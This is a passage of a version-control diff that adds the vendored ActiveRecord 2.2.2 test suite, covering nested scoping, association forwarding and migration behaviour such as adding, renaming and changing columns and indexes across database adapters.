+    end
+  end
+
+  def test_nested_scoped_find_merges_old_style_joins
+    scoped_authors = Author.with_scope(:find => { :joins => 'INNER JOIN posts ON authors.id = posts.author_id' }) do
+      Author.with_scope(:find => { :joins => 'INNER JOIN comments ON posts.id = comments.post_id' }) do
+        Author.find(:all, :select => 'DISTINCT authors.*', :conditions => 'comments.id = 1')
+      end
+    end
+    assert scoped_authors.include?(authors(:david))
+    assert !scoped_authors.include?(authors(:mary))
+    assert_equal 1, scoped_authors.size
+    assert_equal authors(:david).attributes, scoped_authors.first.attributes
+  end
+
+  def test_nested_scoped_find_merges_new_style_joins
+    scoped_authors = Author.with_scope(:find => { :joins => :posts }) do
+      Author.with_scope(:find => { :joins => :comments }) do
+        Author.find(:all, :select => 'DISTINCT authors.*', :conditions => 'comments.id = 1')
+      end
+    end
+    assert scoped_authors.include?(authors(:david))
+    assert !scoped_authors.include?(authors(:mary))
+    assert_equal 1, scoped_authors.size
+    assert_equal authors(:david).attributes, scoped_authors.first.attributes
+  end
+
+  def test_nested_scoped_find_merges_new_and_old_style_joins
+    scoped_authors = Author.with_scope(:find => { :joins => :posts }) do
+      Author.with_scope(:find => { :joins => 'INNER JOIN comments ON posts.id = comments.post_id' }) do
+        Author.find(:all, :select => 'DISTINCT authors.*', :joins => '', :conditions => 'comments.id = 1')
+      end
+    end
+    assert scoped_authors.include?(authors(:david))
+    assert !scoped_authors.include?(authors(:mary))
+    assert_equal 1, scoped_authors.size
+    assert_equal authors(:david).attributes, scoped_authors.first.attributes
+  end
+end
+
+class HasManyScopingTest< ActiveRecord::TestCase
+  fixtures :comments, :posts
+
+  def setup
+    @welcome = Post.find(1)
+  end
+
+  def test_forwarding_of_static_methods
+    assert_equal 'a comment...', Comment.what_are_you
+    assert_equal 'a comment...', @welcome.comments.what_are_you
+  end
+
+  def test_forwarding_to_scoped
+    assert_equal 4, Comment.search_by_type('Comment').size
+    assert_equal 2, @welcome.comments.search_by_type('Comment').size
+  end
+
+  def test_forwarding_to_dynamic_finders
+    assert_equal 4, Comment.find_all_by_type('Comment').size
+    assert_equal 2, @welcome.comments.find_all_by_type('Comment').size
+  end
+
+  def test_nested_scope
+    Comment.with_scope(:find => { :conditions => '1=1' }) do
+      assert_equal 'a comment...', @welcome.comments.what_are_you
+    end
+  end
+end
+
+
+class HasAndBelongsToManyScopingTest< ActiveRecord::TestCase
+  fixtures :posts, :categories, :categories_posts
+
+  def setup
+    @welcome = Post.find(1)
+  end
+
+  def test_forwarding_of_static_methods
+    assert_equal 'a category...', Category.what_are_you
+    assert_equal 'a category...', @welcome.categories.what_are_you
+  end
+
+  def test_forwarding_to_dynamic_finders
+    assert_equal 4, Category.find_all_by_type('SpecialCategory').size
+    assert_equal 0, @welcome.categories.find_all_by_type('SpecialCategory').size
+    assert_equal 2, @welcome.categories.find_all_by_type('Category').size
+  end
+
+  def test_nested_scope
+    Category.with_scope(:find => { :conditions => '1=1' }) do
+      assert_equal 'a comment...', @welcome.comments.what_are_you
+    end
+  end
+end
+
+
+=begin
+# We disabled the scoping for has_one and belongs_to as we can't think of a proper use case
+
+
+class BelongsToScopingTest< ActiveRecord::TestCase
+  fixtures :comments, :posts
+
+  def setup
+    @greetings = Comment.find(1)
+  end
+
+  def test_forwarding_of_static_method
+    assert_equal 'a post...', Post.what_are_you
+    assert_equal 'a post...', @greetings.post.what_are_you
+  end
+
+  def test_forwarding_to_dynamic_finders
+    assert_equal 4, Post.find_all_by_type('Post').size
+    assert_equal 1, @greetings.post.find_all_by_type('Post').size
+  end
+
+end
+
+
+class HasOneScopingTest< ActiveRecord::TestCase
+  fixtures :comments, :posts
+
+  def setup
+    @sti_comments = Post.find(4)
+  end
+
+  def test_forwarding_of_static_methods
+    assert_equal 'a comment...', Comment.what_are_you
+    assert_equal 'a very special comment...', @sti_comments.very_special_comment.what_are_you
+  end
+
+  def test_forwarding_to_dynamic_finders
+    assert_equal 1, Comment.find_all_by_type('VerySpecialComment').size
+    assert_equal 1, @sti_comments.very_special_comment.find_all_by_type('VerySpecialComment').size
+    assert_equal 0, @sti_comments.very_special_comment.find_all_by_type('Comment').size
+  end
+
+end
+
+=end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/migration_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/migration_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/migration_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1479 @@
+require "cases/helper"
+require 'bigdecimal/util'
+
+require 'models/person'
+require 'models/topic'
+require 'models/developer'
+
+require MIGRATIONS_ROOT + "/valid/1_people_have_last_names"
+require MIGRATIONS_ROOT + "/valid/2_we_need_reminders"
+require MIGRATIONS_ROOT + "/decimal/1_give_me_big_numbers"
+require MIGRATIONS_ROOT + "/interleaved/pass_3/2_i_raise_on_down"
+
+if ActiveRecord::Base.connection.supports_migrations?
+  class BigNumber < ActiveRecord::Base; end
+
+  class Reminder < ActiveRecord::Base; end
+
+  class ActiveRecord::Migration
+    class <<self
+      attr_accessor :message_count
+      def puts(text="")
+        self.message_count ||= 0
+        self.message_count += 1
+      end
+    end
+  end
+
+  class MigrationTest < ActiveRecord::TestCase
+    self.use_transactional_fixtures = false
+
+    fixtures :people
+
+    def setup
+      ActiveRecord::Migration.verbose = true
+      PeopleHaveLastNames.message_count = 0
+    end
+
+    def teardown
+      ActiveRecord::Base.connection.initialize_schema_migrations_table
+      ActiveRecord::Base.connection.execute "DELETE FROM #{ActiveRecord::Migrator.schema_migrations_table_name}"
+
+      %w(reminders people_reminders prefix_reminders_suffix).each do |table|
+        Reminder.connection.drop_table(table) rescue nil
+      end
+      Reminder.reset_column_information
+
+      %w(last_name key bio age height wealth birthday favorite_day
+         moment_of_truth male administrator funny).each do |column|
+        Person.connection.remove_column('people', column) rescue nil
+      end
+      Person.connection.remove_column("people", "first_name") rescue nil
+      Person.connection.remove_column("people", "middle_name") rescue nil
+      Person.connection.add_column("people", "first_name", :string, :limit => 40)
+      Person.reset_column_information
+    end
+
+    def test_add_index
+      # Limit size of last_name and key columns to support Firebird index limitations
+      Person.connection.add_column "people", "last_name", :string, :limit => 100
+      Person.connection.add_column "people", "key", :string, :limit => 100
+      Person.connection.add_column "people", "administrator", :boolean
+
+      assert_nothing_raised { Person.connection.add_index("people", "last_name") }
+      assert_nothing_raised { Person.connection.remove_index("people", "last_name") }
+
+      # Orcl nds shrt indx nms.  Sybs 2.
+      # OpenBase does not have named indexes.  You must specify a single column name
+      unless current_adapter?(:OracleAdapter, :SybaseAdapter, :OpenBaseAdapter)
+        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"]) }
+        assert_nothing_raised { Person.connection.remove_index("people", :column => ["last_name", "first_name"]) }
+        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"]) }
+        assert_nothing_raised { Person.connection.remove_index("people", :name => "index_people_on_last_name_and_first_name") }
+        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"]) }
+        assert_nothing_raised { Person.connection.remove_index("people", "last_name_and_first_name") }
+        assert_nothing_raised { Person.connection.add_index("people", ["last_name", "first_name"]) }
+        assert_nothing_raised { Person.connection.remove_index("people", ["last_name", "first_name"]) }
+      end
+
+      # quoting
+      # Note: changed index name from "key" to "key_idx" since "key" is a Firebird reserved word
+      # OpenBase does not have named indexes.  You must specify a single column name
+      unless current_adapter?(:OpenBaseAdapter)
+        Person.update_all "#{Person.connection.quote_column_name 'key'}=#{Person.connection.quote_column_name 'id'}" #some databases (including sqlite2 won't add a unique index if existing data non unique)
+        assert_nothing_raised { Person.connection.add_index("people", ["key"], :name => "key_idx", :unique => true) }
+        assert_nothing_raised { Person.connection.remove_index("people", :name => "key_idx", :unique => true) }
+      end
+
+      # Sybase adapter does not support indexes on :boolean columns
+      # OpenBase does not have named indexes.  You must specify a single column
+      unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter)
+        assert_nothing_raised { Person.connection.add_index("people", %w(last_name first_name administrator), :name => "named_admin") }
+        assert_nothing_raised { Person.connection.remove_index("people", :name => "named_admin") }
+      end
+    end
+
+    def test_create_table_adds_id
+      Person.connection.create_table :testings do |t|
+        t.column :foo, :string
+      end
+
+      assert_equal %w(foo id),
+        Person.connection.columns(:testings).map { |c| c.name }.sort
+    ensure
+      Person.connection.drop_table :testings rescue nil
+    end
+
+    def test_create_table_with_not_null_column
+      assert_nothing_raised do
+        Person.connection.create_table :testings do |t|
+          t.column :foo, :string, :null => false
+        end
+      end
+
+      assert_raises(ActiveRecord::StatementInvalid) do
+        Person.connection.execute "insert into testings (foo) values (NULL)"
+      end
+    ensure
+      Person.connection.drop_table :testings rescue nil
+    end
+
+    def test_create_table_with_defaults
+      # MySQL doesn't allow defaults on TEXT or BLOB columns.
+      mysql = current_adapter?(:MysqlAdapter)
+
+      Person.connection.create_table :testings do |t|
+        t.column :one, :string, :default => "hello"
+        t.column :two, :boolean, :default => true
+        t.column :three, :boolean, :default => false
+        t.column :four, :integer, :default => 1
+        t.column :five, :text, :default => "hello" unless mysql
+      end
+
+      columns = Person.connection.columns(:testings)
+      one = columns.detect { |c| c.name == "one" }
+      two = columns.detect { |c| c.name == "two" }
+      three = columns.detect { |c| c.name == "three" }
+      four = columns.detect { |c| c.name == "four" }
+      five = columns.detect { |c| c.name == "five" } unless mysql
+
+      assert_equal "hello", one.default
+      assert_equal true, two.default
+      assert_equal false, three.default
+      assert_equal 1, four.default
+      assert_equal "hello", five.default unless mysql
+
+    ensure
+      Person.connection.drop_table :testings rescue nil
+    end
+
+    def test_create_table_with_limits
+      assert_nothing_raised do
+        Person.connection.create_table :testings do |t|
+          t.column :foo, :string, :limit => 255
+
+          t.column :default_int, :integer
+
+          t.column :one_int,    :integer, :limit => 1
+          t.column :four_int,   :integer, :limit => 4
+          t.column :eight_int,  :integer, :limit => 8
+          t.column :eleven_int, :integer, :limit => 11
+        end
+      end
+
+      columns = Person.connection.columns(:testings)
+      foo = columns.detect { |c| c.name == "foo" }
+      assert_equal 255, foo.limit
+
+      default = columns.detect { |c| c.name == "default_int" }
+      one     = columns.detect { |c| c.name == "one_int"     }
+      four    = columns.detect { |c| c.name == "four_int"    }
+      eight   = columns.detect { |c| c.name == "eight_int"   }
+      eleven  = columns.detect { |c| c.name == "eleven_int"   }
+
+      if current_adapter?(:PostgreSQLAdapter)
+        assert_equal 'integer', default.sql_type
+        assert_equal 'smallint', one.sql_type
+        assert_equal 'integer', four.sql_type
+        assert_equal 'bigint', eight.sql_type
+        assert_equal 'integer', eleven.sql_type
+      elsif current_adapter?(:MysqlAdapter)
+        assert_match 'int(11)', default.sql_type
+        assert_match 'tinyint', one.sql_type
+        assert_match 'int', four.sql_type
+        assert_match 'bigint', eight.sql_type
+        assert_match 'int(11)', eleven.sql_type
+      elsif current_adapter?(:OracleAdapter)
+        assert_equal 'NUMBER(38)', default.sql_type
+        assert_equal 'NUMBER(1)', one.sql_type
+        assert_equal 'NUMBER(4)', four.sql_type
+        assert_equal 'NUMBER(8)', eight.sql_type
+      end
+    ensure
+      Person.connection.drop_table :testings rescue nil
+    end
+
+    def test_create_table_with_primary_key_prefix_as_table_name_with_underscore
+      ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
+
+      Person.connection.create_table :testings do |t|
+          t.column :foo, :string
+      end
+
+      assert_equal %w(foo testings_id), Person.connection.columns(:testings).map { |c| c.name }.sort
+    ensure
+      Person.connection.drop_table :testings rescue nil
+      ActiveRecord::Base.primary_key_prefix_type = nil
+    end
+
+    def test_create_table_with_primary_key_prefix_as_table_name
+      ActiveRecord::Base.primary_key_prefix_type = :table_name
+
+      Person.connection.create_table :testings do |t|
+          t.column :foo, :string
+      end
+
+      assert_equal %w(foo testingsid), Person.connection.columns(:testings).map { |c| c.name }.sort
+    ensure
+      Person.connection.drop_table :testings rescue nil
+      ActiveRecord::Base.primary_key_prefix_type = nil
+    end
+
+    uses_mocha('test_create_table_with_force_true_does_not_drop_nonexisting_table') do
+      def test_create_table_with_force_true_does_not_drop_nonexisting_table
+        if Person.connection.table_exists?(:testings2)
+          Person.connection.drop_table :testings2
+        end
+
+        # using a copy as we need the drop_table method to
+        # continue to work for the ensure block of the test
+        temp_conn = Person.connection.dup
+        temp_conn.expects(:drop_table).never
+        temp_conn.create_table :testings2, :force => true do |t|
+          t.column :foo, :string
+        end
+      ensure
+        Person.connection.drop_table :testings2 rescue nil
+      end
+    end
+
+    def test_create_table_with_timestamps_should_create_datetime_columns
+      table_name = :testings
+
+      Person.connection.create_table table_name do |t|
+        t.timestamps
+      end
+      created_columns = Person.connection.columns(table_name)
+
+      created_at_column = created_columns.detect {|c| c.name == 'created_at' }
+      updated_at_column = created_columns.detect {|c| c.name == 'updated_at' }
+
+      assert created_at_column.null
+      assert updated_at_column.null
+    ensure
+      Person.connection.drop_table table_name rescue nil
+    end
+
+    def test_create_table_with_timestamps_should_create_datetime_columns_with_options
+      table_name = :testings
+
+      Person.connection.create_table table_name do |t|
+        t.timestamps :null => false
+      end
+      created_columns = Person.connection.columns(table_name)
+
+      created_at_column = created_columns.detect {|c| c.name == 'created_at' }
+      updated_at_column = created_columns.detect {|c| c.name == 'updated_at' }
+
+      assert !created_at_column.null
+      assert !updated_at_column.null
+    ensure
+      Person.connection.drop_table table_name rescue nil
+    end
+
+    # Sybase, and SQLite3 will not allow you to add a NOT NULL
+    # column to a table without a default value.
+    unless current_adapter?(:SybaseAdapter, :SQLiteAdapter)
+      def test_add_column_not_null_without_default
+        Person.connection.create_table :testings do |t|
+          t.column :foo, :string
+        end
+        Person.connection.add_column :testings, :bar, :string, :null => false
+
+        assert_raises(ActiveRecord::StatementInvalid) do
+          Person.connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
+        end
+      ensure
+        Person.connection.drop_table :testings rescue nil
+      end
+    end
+
+    def test_add_column_not_null_with_default
+      Person.connection.create_table :testings do |t|
+        t.column :foo, :string
+      end
+
+      con = Person.connection
+      Person.connection.enable_identity_insert("testings", true) if current_adapter?(:SybaseAdapter)
+      Person.connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}) values (1, 'hello')"
+      Person.connection.enable_identity_insert("testings", false) if current_adapter?(:SybaseAdapter)
+      assert_nothing_raised {Person.connection.add_column :testings, :bar, :string, :null => false, :default => "default" }
+
+      assert_raises(ActiveRecord::StatementInvalid) do
+        unless current_adapter?(:OpenBaseAdapter)
+          Person.connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) values (2, 'hello', NULL)"
+        else
+          Person.connection.insert("INSERT INTO testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) VALUES (2, 'hello', NULL)",
+            "Testing Insert","id",2)
+        end
+      end
+    ensure
+      Person.connection.drop_table :testings rescue nil
+    end
+
+    # We specifically do a manual INSERT here, and then test only the SELECT
+    # functionality. This allows us to more easily catch INSERT being broken,
+    # but SELECT actually working fine.
+    def test_native_decimal_insert_manual_vs_automatic
+      correct_value = '0012345678901234567890.0123456789'.to_d
+
+      Person.delete_all
+      Person.connection.add_column "people", "wealth", :decimal, :precision => '30', :scale => '10'
+      Person.reset_column_information
+
+      # Do a manual insertion
+      if current_adapter?(:OracleAdapter)
+        Person.connection.execute "insert into people (id, wealth) values (people_seq.nextval, 12345678901234567890.0123456789)"
+      elsif current_adapter?(:OpenBaseAdapter) || (current_adapter?(:MysqlAdapter) && Mysql.client_version < 50003) #before mysql 5.0.3 decimals stored as strings
+        Person.connection.execute "insert into people (wealth) values ('12345678901234567890.0123456789')"
+      else
+        Person.connection.execute "insert into people (wealth) values (12345678901234567890.0123456789)"
+      end
+
+      # SELECT
+      row = Person.find(:first)
+      assert_kind_of BigDecimal, row.wealth
+
+      # If this assert fails, that means the SELECT is broken!
+      unless current_adapter?(:SQLite3Adapter)
+        assert_equal correct_value, row.wealth
+      end
+
+      # Reset to old state
+      Person.delete_all
+
+      # Now use the Rails insertion
+      assert_nothing_raised { Person.create :wealth => BigDecimal.new("12345678901234567890.0123456789") }
+
+      # SELECT
+      row = Person.find(:first)
+      assert_kind_of BigDecimal, row.wealth
+
+      # If these asserts fail, that means the INSERT (create function, or cast to SQL) is broken!
+      unless current_adapter?(:SQLite3Adapter)
+        assert_equal correct_value, row.wealth
+      end
+
+      # Reset to old state
+      Person.connection.del_column "people", "wealth" rescue nil
+      Person.reset_column_information
+    end
+
+    def test_add_column_with_precision_and_scale
+      Person.connection.add_column 'people', 'wealth', :decimal, :precision => 9, :scale => 7
+      Person.reset_column_information
+
+      wealth_column = Person.columns_hash['wealth']
+      assert_equal 9, wealth_column.precision
+      assert_equal 7, wealth_column.scale
+    end
+    
+    def test_native_types
+      Person.delete_all
+      Person.connection.add_column "people", "last_name", :string
+      Person.connection.add_column "people", "bio", :text
+      Person.connection.add_column "people", "age", :integer
+      Person.connection.add_column "people", "height", :float
+      Person.connection.add_column "people", "wealth", :decimal, :precision => '30', :scale => '10'
+      Person.connection.add_column "people", "birthday", :datetime
+      Person.connection.add_column "people", "favorite_day", :date
+      Person.connection.add_column "people", "moment_of_truth", :datetime
+      Person.connection.add_column "people", "male", :boolean
+      Person.reset_column_information
+
+      assert_nothing_raised do
+        Person.create :first_name => 'bob', :last_name => 'bobsen',
+          :bio => "I was born ....", :age => 18, :height => 1.78,
+          :wealth => BigDecimal.new("12345678901234567890.0123456789"),
+          :birthday => 18.years.ago, :favorite_day => 10.days.ago,
+          :moment_of_truth => "1782-10-10 21:40:18", :male => true
+      end
+
+      bob = Person.find(:first)
+      assert_equal 'bob', bob.first_name
+      assert_equal 'bobsen', bob.last_name
+      assert_equal "I was born ....", bob.bio
+      assert_equal 18, bob.age
+
+      # Test for 30 significent digits (beyond the 16 of float), 10 of them
+      # after the decimal place.
+
+      unless current_adapter?(:SQLite3Adapter)
+        assert_equal BigDecimal.new("0012345678901234567890.0123456789"), bob.wealth
+      end
+
+      assert_equal true, bob.male?
+
+      assert_equal String, bob.first_name.class
+      assert_equal String, bob.last_name.class
+      assert_equal String, bob.bio.class
+      assert_equal Fixnum, bob.age.class
+      assert_equal Time, bob.birthday.class
+
+      if current_adapter?(:OracleAdapter, :SybaseAdapter)
+        # Sybase, and Oracle don't differentiate between date/time
+        assert_equal Time, bob.favorite_day.class
+      else
+        assert_equal Date, bob.favorite_day.class
+      end
+
+      # Test DateTime column and defaults, including timezone.
+      # FIXME: moment of truth may be Time on 64-bit platforms.
+      if bob.moment_of_truth.is_a?(DateTime)
+
+        with_env_tz 'US/Eastern' do
+          assert_equal DateTime.local_offset, bob.moment_of_truth.offset
+          assert_not_equal 0, bob.moment_of_truth.offset
+          assert_not_equal "Z", bob.moment_of_truth.zone
+          # US/Eastern is -5 hours from GMT
+          assert_equal Rational(-5, 24), bob.moment_of_truth.offset
+          assert_match /\A-05:?00\Z/, bob.moment_of_truth.zone #ruby 1.8.6 uses HH:MM, prior versions use HHMM
+          assert_equal DateTime::ITALY, bob.moment_of_truth.start
+        end
+      end
+
+      assert_equal TrueClass, bob.male?.class
+      assert_kind_of BigDecimal, bob.wealth
+    end
+
+    if current_adapter?(:MysqlAdapter)
+      def test_unabstracted_database_dependent_types
+        Person.delete_all
+
+        ActiveRecord::Migration.add_column :people, :intelligence_quotient, :tinyint
+        Person.reset_column_information
+        assert_match /tinyint/, Person.columns_hash['intelligence_quotient'].sql_type
+      ensure
+        ActiveRecord::Migration.remove_column :people, :intelligence_quotient rescue nil
+      end
+    end
+
+    def test_add_remove_single_field_using_string_arguments
+      assert !Person.column_methods_hash.include?(:last_name)
+
+      ActiveRecord::Migration.add_column 'people', 'last_name', :string
+
+      Person.reset_column_information
+      assert Person.column_methods_hash.include?(:last_name)
+
+      ActiveRecord::Migration.remove_column 'people', 'last_name'
+
+      Person.reset_column_information
+      assert !Person.column_methods_hash.include?(:last_name)
+    end
+
+    def test_add_remove_single_field_using_symbol_arguments
+      assert !Person.column_methods_hash.include?(:last_name)
+
+      ActiveRecord::Migration.add_column :people, :last_name, :string
+
+      Person.reset_column_information
+      assert Person.column_methods_hash.include?(:last_name)
+
+      ActiveRecord::Migration.remove_column :people, :last_name
+
+      Person.reset_column_information
+      assert !Person.column_methods_hash.include?(:last_name)
+    end
+
+    def test_add_rename
+      Person.delete_all
+
+      begin
+        Person.connection.add_column "people", "girlfriend", :string
+        Person.reset_column_information
+        Person.create :girlfriend => 'bobette'
+
+        Person.connection.rename_column "people", "girlfriend", "exgirlfriend"
+
+        Person.reset_column_information
+        bob = Person.find(:first)
+
+        assert_equal "bobette", bob.exgirlfriend
+      ensure
+        Person.connection.remove_column("people", "girlfriend") rescue nil
+        Person.connection.remove_column("people", "exgirlfriend") rescue nil
+      end
+
+    end
+
+    def test_rename_column_using_symbol_arguments
+      begin
+        names_before = Person.find(:all).map(&:first_name)
+        Person.connection.rename_column :people, :first_name, :nick_name
+        Person.reset_column_information
+        assert Person.column_names.include?("nick_name")
+        assert_equal names_before, Person.find(:all).map(&:nick_name)
+      ensure
+        Person.connection.remove_column("people","nick_name")
+        Person.connection.add_column("people","first_name", :string)
+      end
+    end
+
+    def test_rename_column
+      begin
+        names_before = Person.find(:all).map(&:first_name)
+        Person.connection.rename_column "people", "first_name", "nick_name"
+        Person.reset_column_information
+        assert Person.column_names.include?("nick_name")
+        assert_equal names_before, Person.find(:all).map(&:nick_name)
+      ensure
+        Person.connection.remove_column("people","nick_name")
+        Person.connection.add_column("people","first_name", :string)
+      end
+    end
+
+    def test_rename_column_preserves_default_value_not_null
+      begin
+        default_before = Developer.connection.columns("developers").find { |c| c.name == "salary" }.default
+        assert_equal 70000, default_before
+        Developer.connection.rename_column "developers", "salary", "anual_salary"
+        Developer.reset_column_information
+        assert Developer.column_names.include?("anual_salary")
+        default_after = Developer.connection.columns("developers").find { |c| c.name == "anual_salary" }.default
+        assert_equal 70000, default_after
+      ensure
+        Developer.connection.rename_column "developers", "anual_salary", "salary"
+        Developer.reset_column_information
+      end
+    end
+
+    def test_rename_nonexistent_column
+      ActiveRecord::Base.connection.create_table(:hats) do |table|
+        table.column :hat_name, :string, :default => nil
+      end
+      exception = if current_adapter?(:PostgreSQLAdapter)
+        ActiveRecord::StatementInvalid
+      else
+        ActiveRecord::ActiveRecordError
+      end
+      assert_raises(exception) do
+        Person.connection.rename_column "hats", "nonexistent", "should_fail"
+      end
+    ensure
+      ActiveRecord::Base.connection.drop_table(:hats)
+    end
+
+    def test_rename_column_with_sql_reserved_word
+      begin
+        assert_nothing_raised { Person.connection.rename_column "people", "first_name", "group" }
+        Person.reset_column_information
+        assert Person.column_names.include?("group")
+      ensure
+        Person.connection.remove_column("people", "group") rescue nil
+        Person.connection.add_column("people", "first_name", :string) rescue nil
+      end
+    end
+
+    def test_rename_column_with_an_index
+      ActiveRecord::Base.connection.create_table(:hats) do |table|
+        table.column :hat_name, :string, :limit => 100
+        table.column :hat_size, :integer
+      end
+      Person.connection.add_index :hats, :hat_name
+      assert_nothing_raised do
+        Person.connection.rename_column "hats", "hat_name", "name"
+      end
+    ensure
+      ActiveRecord::Base.connection.drop_table(:hats)
+    end
+
+    def test_remove_column_with_index
+      ActiveRecord::Base.connection.create_table(:hats) do |table|
+        table.column :hat_name, :string, :limit => 100
+        table.column :hat_size, :integer
+      end
+      ActiveRecord::Base.connection.add_index "hats", "hat_size"
+
+      assert_nothing_raised { Person.connection.remove_column("hats", "hat_size") }
+    ensure
+      ActiveRecord::Base.connection.drop_table(:hats)
+    end
+
+    def test_remove_column_with_multi_column_index
+      ActiveRecord::Base.connection.create_table(:hats) do |table|
+        table.column :hat_name, :string, :limit => 100
+        table.column :hat_size, :integer
+        table.column :hat_style, :string, :limit => 100
+      end
+      ActiveRecord::Base.connection.add_index "hats", ["hat_style", "hat_size"], :unique => true
+
+      assert_nothing_raised { Person.connection.remove_column("hats", "hat_size") }
+    ensure
+      ActiveRecord::Base.connection.drop_table(:hats)
+    end
+
+    def test_change_type_of_not_null_column
+      assert_nothing_raised do
+        Topic.connection.change_column "topics", "written_on", :datetime, :null => false
+        Topic.reset_column_information
+
+        Topic.connection.change_column "topics", "written_on", :datetime, :null => false
+        Topic.reset_column_information
+      end
+    end
+
+    def test_rename_table
+      begin
+        ActiveRecord::Base.connection.create_table :octopuses do |t|
+          t.column :url, :string
+        end
+        ActiveRecord::Base.connection.rename_table :octopuses, :octopi
+
+        # Using explicit id in insert for compatibility across all databases
+        con = ActiveRecord::Base.connection
+        con.enable_identity_insert("octopi", true) if current_adapter?(:SybaseAdapter)
+        assert_nothing_raised { con.execute "INSERT INTO octopi (#{con.quote_column_name('id')}, #{con.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')" }
+        con.enable_identity_insert("octopi", false) if current_adapter?(:SybaseAdapter)
+
+        assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', ActiveRecord::Base.connection.select_value("SELECT url FROM octopi WHERE id=1")
+
+      ensure
+        ActiveRecord::Base.connection.drop_table :octopuses rescue nil
+        ActiveRecord::Base.connection.drop_table :octopi rescue nil
+      end
+    end
+
+    def test_change_column_nullability
+      Person.delete_all
+      Person.connection.add_column "people", "funny", :boolean
+      Person.reset_column_information
+      assert Person.columns_hash["funny"].null, "Column 'funny' must initially allow nulls"
+      Person.connection.change_column "people", "funny", :boolean, :null => false, :default => true
+      Person.reset_column_information
+      assert !Person.columns_hash["funny"].null, "Column 'funny' must *not* allow nulls at this point"
+      Person.connection.change_column "people", "funny", :boolean, :null => true
+      Person.reset_column_information
+      assert Person.columns_hash["funny"].null, "Column 'funny' must allow nulls again at this point"
+    end
+
+    def test_rename_table_with_an_index
+      begin
+        ActiveRecord::Base.connection.create_table :octopuses do |t|
+          t.column :url, :string
+        end
+        ActiveRecord::Base.connection.add_index :octopuses, :url
+
+        ActiveRecord::Base.connection.rename_table :octopuses, :octopi
+
+        # Using explicit id in insert for compatibility across all databases
+        con = ActiveRecord::Base.connection
+        con.enable_identity_insert("octopi", true) if current_adapter?(:SybaseAdapter)
+        assert_nothing_raised { con.execute "INSERT INTO octopi (#{con.quote_column_name('id')}, #{con.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')" }
+        con.enable_identity_insert("octopi", false) if current_adapter?(:SybaseAdapter)
+
+        assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', ActiveRecord::Base.connection.select_value("SELECT url FROM octopi WHERE id=1")
+        assert ActiveRecord::Base.connection.indexes(:octopi).first.columns.include?("url")
+      ensure
+        ActiveRecord::Base.connection.drop_table :octopuses rescue nil
+        ActiveRecord::Base.connection.drop_table :octopi rescue nil
+      end
+    end
+
+    def test_change_column
+      Person.connection.add_column 'people', 'age', :integer
+      old_columns = Person.connection.columns(Person.table_name, "#{name} Columns")
+      assert old_columns.find { |c| c.name == 'age' and c.type == :integer }
+
+      assert_nothing_raised { Person.connection.change_column "people", "age", :string }
+
+      new_columns = Person.connection.columns(Person.table_name, "#{name} Columns")
+      assert_nil new_columns.find { |c| c.name == 'age' and c.type == :integer }
+      assert new_columns.find { |c| c.name == 'age' and c.type == :string }
+
+      old_columns = Topic.connection.columns(Topic.table_name, "#{name} Columns")
+      assert old_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == true }
+      assert_nothing_raised { Topic.connection.change_column :topics, :approved, :boolean, :default => false }
+      new_columns = Topic.connection.columns(Topic.table_name, "#{name} Columns")
+      assert_nil new_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == true }
+      assert new_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == false }
+      assert_nothing_raised { Topic.connection.change_column :topics, :approved, :boolean, :default => true }
+    end
+
+    def test_change_column_with_nil_default
+      Person.connection.add_column "people", "contributor", :boolean, :default => true
+      Person.reset_column_information
+      assert Person.new.contributor?
+
+      assert_nothing_raised { Person.connection.change_column "people", "contributor", :boolean, :default => nil }
+      Person.reset_column_information
+      assert !Person.new.contributor?
+      assert_nil Person.new.contributor
+    ensure
+      Person.connection.remove_column("people", "contributor") rescue nil
+    end
+
+    def test_change_column_with_new_default
+      Person.connection.add_column "people", "administrator", :boolean, :default => true
+      Person.reset_column_information
+      assert Person.new.administrator?
+
+      assert_nothing_raised { Person.connection.change_column "people", "administrator", :boolean, :default => false }
+      Person.reset_column_information
+      assert !Person.new.administrator?
+    ensure
+      Person.connection.remove_column("people", "administrator") rescue nil
+    end
+
+    def test_change_column_default
+      Person.connection.change_column_default "people", "first_name", "Tester"
+      Person.reset_column_information
+      assert_equal "Tester", Person.new.first_name
+    end
+
+    def test_change_column_quotes_column_names
+      Person.connection.create_table :testings do |t|
+        t.column :select, :string
+      end
+
+      assert_nothing_raised { Person.connection.change_column :testings, :select, :string, :limit => 10 }
+
+      assert_nothing_raised { Person.connection.execute "insert into testings (#{Person.connection.quote_column_name('select')}) values ('7 chars')" }
+    ensure
+      Person.connection.drop_table :testings rescue nil
+    end
+
+    def test_keeping_default_and_notnull_constaint_on_change
+      Person.connection.create_table :testings do |t|
+        t.column :title, :string
+      end
+      person_klass = Class.new(Person)
+      person_klass.set_table_name 'testings'
+
+      person_klass.connection.add_column "testings", "wealth", :integer, :null => false, :default => 99
+      person_klass.reset_column_information
+      assert_equal 99, person_klass.columns_hash["wealth"].default
+      assert_equal false, person_klass.columns_hash["wealth"].null
+      assert_nothing_raised {person_klass.connection.execute("insert into testings (title) values ('tester')")}
+
+      # change column default to see that column doesn't lose its not null definition
